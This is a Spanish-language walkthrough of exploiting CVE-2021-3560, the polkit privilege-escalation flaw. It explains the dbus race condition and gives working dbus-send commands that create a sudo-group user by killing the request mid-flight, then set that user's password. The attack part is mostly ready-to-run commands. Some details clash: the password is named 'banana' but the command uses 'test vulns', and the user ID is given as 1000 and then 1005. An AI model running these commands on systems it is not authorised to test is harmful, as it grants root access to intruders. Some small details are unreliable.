
Explotación de la vulnerabilidad CVE-2021-3560 en polkit
En 2021, un investigador llamado Kevin BackHouse descubrió una vulnerabilidad de escalada de privilegios en la utilidad polkit. Sin embargo, no todas las versiones de Linux son vulnerables a polkit.
A continuación se muestra un ejemplo de una versión vulnerable;
Las versiones más modernas de Linux ya tienen la corrección de esta vulnerabilidad; sin embargo, las versiones anteriores, como las mencionadas anteriormente, todavía tienen esta vulnerabilidad.
Polkit es un servicio del sistema instalado por defecto en muchas distribuciones de Linux. Es utilizado por systemd, por lo que cualquier distribución de Linux que use systemd también usa polkit.
Polkit es el servicio del sistema que se ejecuta en segundo plano cuando ves un cuadro de diálogo, por ejemplo;
Si en algún momento necesitas cambiar privilegios o hacer algo que requiera privilegios más altos, como crear una cuenta de usuario, Polkit es el responsable de permitir o denegar esa acción.
CVE-2021-3560 permite a un atacante local sin privilegios obtener privilegios de root. Es muy simple y rápida de explotar, por lo que es importante que actualices tus instalaciones de Linux lo antes posible. Cualquier sistema que tenga instalada la versión 0.113 (o posterior) de polkit es vulnerable. Esto incluye distribuciones populares como RHEL 8 y Ubuntu 20.04.
Al enviar manualmente mensajes dbus al dbus-daemon (efectivamente una API que permite que diferentes procesos se comuniquen entre sí) y luego matar la solicitud antes de que se procese por completo, podemos engañar a polkit para que autorice el comando.
El dbus-daemon es un programa que se ejecuta en segundo plano y que actúa como intermediario de mensajes entre aplicaciones.
Básicamente, la reproducción de esta vulnerabilidad se realizará siguiendo los pasos a continuación;
El atacante envía manualmente un mensaje dbus al accounts-daemon solicitando la creación de una nueva cuenta con permisos de sudo (o posteriormente, una contraseña para el nuevo usuario). Este mensaje recibe un ID único por parte del dbus-daemon.
El atacante mata el mensaje después de que polkit lo recibe, pero antes de que polkit tenga la oportunidad de procesarlo. Esto destruye efectivamente el ID único del mensaje.
Polkit le pregunta al dbus-daemon por el ID de usuario de la persona que envió el mensaje, haciendo referencia al ID de mensaje (ahora eliminado).
El dbus-daemon no puede encontrar el ID del mensaje porque lo matamos en el paso dos. Maneja el error respondiendo con un código de error.
Polkit maneja mal el error y sustituye 0 por el ID de usuario, es decir, la cuenta root de la máquina.
Al pensar que el usuario root solicitó la acción, polkit permite que la solicitud pase sin ser cuestionada.
En resumen, al destruir el ID del mensaje antes de que el dbus-daemon tenga la oportunidad de darle a polkit el ID correcto, explotamos el mal manejo de errores de polkit para engañar a la utilidad haciéndole creer que la solicitud fue hecha por el todopoderoso usuario root.
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:lucas string:"test vulns" int32:1
En este caso, al intentar crear el usuario lucas, recibimos un mensaje de que no tenemos permiso (Se requiere autenticación).
Este comando enviará manualmente un mensaje dbus al daemon de cuentas, imprimiendo la respuesta y creando un nuevo usuario llamado lucas (string:lucas), con una descripción de "test vulns" (string:"test vulns") y la pertenencia al grupo sudo establecida en verdadero (referenciada por int32:1).
time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:lucas string:"test vulns" int32:1
En este caso, usamos el mismo comando de creación de usuario del paso 1; sin embargo, usamos la función 'time' para que devuelva el tiempo de ejecución de este comando.
Esto tarda 0.011 segundos. Este número será ligeramente diferente cada vez que ejecutes el comando.
Probemos esto. Necesitamos enviar el mensaje dbus y luego matarlo aproximadamente a mitad de camino:
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:lucas string:"test vulns" int32:1 & sleep 0.005s; kill $!
Enviamos el mensaje dbus en un trabajo en segundo plano (usando el ampersand para enviar el comando al fondo). Luego le indicamos que durmiera durante 0.005 milisegundos y después matáramos el proceso anterior ($!). Esto creó exitosamente el nuevo usuario, añadiéndolo al grupo sudo. Debemos anotar en este punto que el ID de usuario del nuevo usuario en este caso es 1000.
Usando openssl, generamos una contraseña de tipo 6 (SHA512-crypt) y nuestra contraseña en texto plano.
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1000 org.freedesktop.Accounts.User.SetPassword string:'$6$jErqxzPvzrnXP8uC$j8p1DAuEMe0mnM8Pkm3VkVPL5fPWk7c0fFuZkLCi8/hTb5a/ATZjfwHSwEbhQFZR98xWemFWQHEGaTr8KcKaz0' string:'test vulns' & sleep 0.005s; kill $!
En este caso estamos incluyendo una contraseña (banana) para el id 1005 que se creó en los pasos anteriores.
Esta vulnerabilidad fue divulgada públicamente y la corrección se publicó el 3 de junio de 2021 y se le asignó CVE-2021-3560.
Comprueba la actualización de tu máquina con yum/apt update/upgrade.